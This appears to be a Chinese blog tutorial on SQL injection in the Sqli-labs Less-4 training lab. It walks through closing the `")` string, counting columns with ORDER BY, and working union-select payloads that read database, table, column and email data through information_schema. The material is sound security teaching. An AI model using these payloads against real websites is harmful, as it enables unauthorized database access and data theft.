sql注入系列之Sqli-labs(less-4)

判断注入点

http://192.168.81.210/sqli/Less-4/?id=1
正常情况
输入单引号正常

输入双引号出现报错,出现sql语句报错就说明输入的双引号已经在数据库里当成sql语句执行了,所以可以由此确定存在sql注入。
因为正常的情况下,用户只能将搜索的参数传入到数据库里面进行查询,是不可能去修改查询语句的,上方的报错就是由于用户修改了查询的语句而引起的,将以上语句代入到自己的数据库里执行也是会报错的,因为多了一个双引号。

判断注入类型

输入1 and 1=11 and 1=2发现都没有其它反应,因为如果是数字型注入,1=2是假的不应该返回内容,而题目这里还是返回了内容。当语句是字符型查询(第三条、第四条)的时候,会忽略后面的字符串。所以由此可以判断注入类型是字符型注入。

  • and 逻辑与

当条件表达式两边都为真才是真,有一边为假则是假
从下方图中可以发现,当and有一边为假的时候,是没有返回内容的既然是字符型注入,那么它的条件就应该使用引号引起来的,又因为前面输入单引号无法引起报错,而输入双引号可以引起报错,所以它的条件应该使用了双引号引起来,语句类似于

select * from users where id="$id" limit 0,1

既然是字符型注入那就需要考虑闭合,输入1" and 1=1--+1" and 1=1--+发现还是存在报错,

  • –+ 注释符。把select a from b where id="1" and 1=1--+" limit 0,1中" limit 0,1给注释掉

再根据最前面包报错中还显示了个右括号,所以最终的语句应该是

select * from users where id=("$id") limit 0,1

那么我们输入的语句就变成了

select * from users where id=("1" and 1=1--+")
select * from users where id=("1" and 1=2--+")

可以发现前面的一个括号并没有闭合,所以应该构造语句将其闭合1") and 1=1--+1") and 1=2--+,可以发现页面有了变化
因为1=2为假,所以页面就没有返回。

判断查询列数

  • ORDER BY 语句用于根据指定的列对结果集进行排序。

当order by的数字大于当前的列数时候就会报错,sql注入利用这个特性来判断列数输入1") order by 4--+1") order by 3--+发现等于3的时候正常,等于4的时候报错,由此可以知道一共有三列。可以使用二分法进行判断,即第一次可以是order by 1,第二次可以是order by 10。如果都是正常的则在10的基础上x2;如果不正常则在10的基础上/2也就是order by 5,如果5正常6不正常,则列数为6列。

确定显示位

什么是显示位?在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。
这里可以使用union操作符

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集
  • UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

这里虽然查询的123都可以查询到,但是回到程序里查询1") union select 1,2,3--+可以发现并没有查询到123,这里的123实际上就是前面的order by 3
这是因为程序在展示数据的时候通常只会取结果集的第一行数据,所以,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了,-1") union select 1,2,3--+

从上图可以发现,查询的123只有23显示,所以想要查询数据就需要将想要查询的内容填充到2,3里

获取数据

获取数据库名

查询当前数据库select database();
问题来了,在sql注入中如何查询当前的数据库名呢?只需把database()填充到2或3里-1") union select 1,2,database()--+就可以查询到数据库名了。

获取表名

在获取表名之前需要先了解information_schema数据库。
mysql5.0以上, Mysql自带了Information_schema这个数据库, 5.0以下是没有的,information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

select table_name from information_schema.tables where TABLE_SCHEMA='dvwa'

select column_name from information_schema.columns where table_name='users';

所以可以根据这个特性来获取表名,-1") union select 1,2,table_name from information_schema.tables where table_schema='security'--+可以发现查询到了emails数据表,但是一个数据库里肯定不止个数据表,可以发现security这个数据库里除了emails表之外,还有referersuagentsusers
如何将这几行数据一起获取呢?这里需要用到group_concat()函数

  • 将多行合并成一行

获取当前数据库全部数据表-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+,这里的security数据库名、表名等的字符串表示,需要用单引号、双引号包裹住,或者可以使用对应的的十六进制的形式。

获取列名

获取某个数据表的所有列名-1") union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name='emails'--+

获取最终数据

-1") union select 1,2,group_concat(id,email_id) from emails--+

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值